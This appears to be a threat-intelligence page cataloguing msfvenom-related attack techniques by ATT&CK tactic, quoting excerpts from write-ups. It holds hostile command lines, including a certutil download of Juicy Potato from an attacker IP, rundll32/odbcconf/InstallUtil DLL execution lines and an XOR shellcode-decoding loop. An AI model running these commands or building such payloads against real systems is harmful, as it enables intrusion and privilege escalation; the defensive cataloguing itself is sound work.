msfvenom
Techniques & procedures
15 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
1 technique
Initial Access
The article demonstrates exploitation of Minishare v1.4.1's HTTP service by sending excessive request data that overflows a stack buffer, overwrites EIP, and executes attacker-supplied shellcode.
Execution
2 techniques
Execution
例えばWindowsでのTCPのリバースシェルを行うペイロードは、コース中でも使用する以下のmsfvenomコマンドによって作成することができます。
Attackers also leverage built-in scripting languages like Bash, Python, Perl, PHP, and Ruby to craft custom reverse shell payloads that blend in with legitimate processes.
Persistence
2 techniques
Persistence
I wanted Juicy Potato to throw a reverse shell back to my Linux machine, so the first thing that I did was create an .exe using msfvenom.
In a Windows context, improperly configured services might lead to privilege escalation or be utilized as a persistence technique... Threat actors also can modify existing windows services instead create new ones... MITTRE ATT&CK. Create or Modify System Process: Windows Service
Privilege Escalation
3 techniques
Privilege Escalation
I’ll add in “hidden” functionality (process hollowing to launch calc with msfvenom generated shellcode) ... Next, I add some process hollowing code from this source repo ...
I wanted Juicy Potato to throw a reverse shell back to my Linux machine, so the first thing that I did was create an .exe using msfvenom.
In a Windows context, improperly configured services might lead to privilege escalation or be utilized as a persistence technique... Threat actors also can modify existing windows services instead create new ones... MITTRE ATT&CK. Create or Modify System Process: Windows Service
Stealth
8 techniques
Stealth
"our shellcode has to be in the form of 00mm00nn" and "modern msfvenom has alpha2 built in and can generate shellcode for Unicode overflow" using "x86/unicode_upper."
I’ll add in “hidden” functionality (process hollowing to launch calc with msfvenom generated shellcode) ... Next, I add some process hollowing code from this source repo ...
for ( i ; i < sizeof ( buf ) - 1 ; i ++ ) { buf [ i ] = buf [ i ] ^ key ; }
If both return 0x1, you can generate a malicious MSI payload using msfvenom, transfer it to the target, and execute it via msiexec to catch a SYSTEM shell.
InstallUtil.exe /logfile= /LogToConsole=false /U file.dll
execute it via msiexec to catch a SYSTEM shell.
odbcconf.exe INSTALLDRIVER “Printer-driverX|Driver=C:\file.dll|APILevel=2”
rundll32.exe C:\reflective_dll.x64.dll,TestEntry
Command and Control
2 techniques
Command and Control
The generated payload is "windows/shell_bind_tcp LPORT=4444" and the exploit subsequently connects to the target on TCP port 4444 to obtain an interactive shell.
Using certutil, upload Juicy Potato to the Windows machine. certutil -urlcache -f - split http://192.168.45.218/temp/Juicy.Potato.x86.exe
Recent activity
4 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.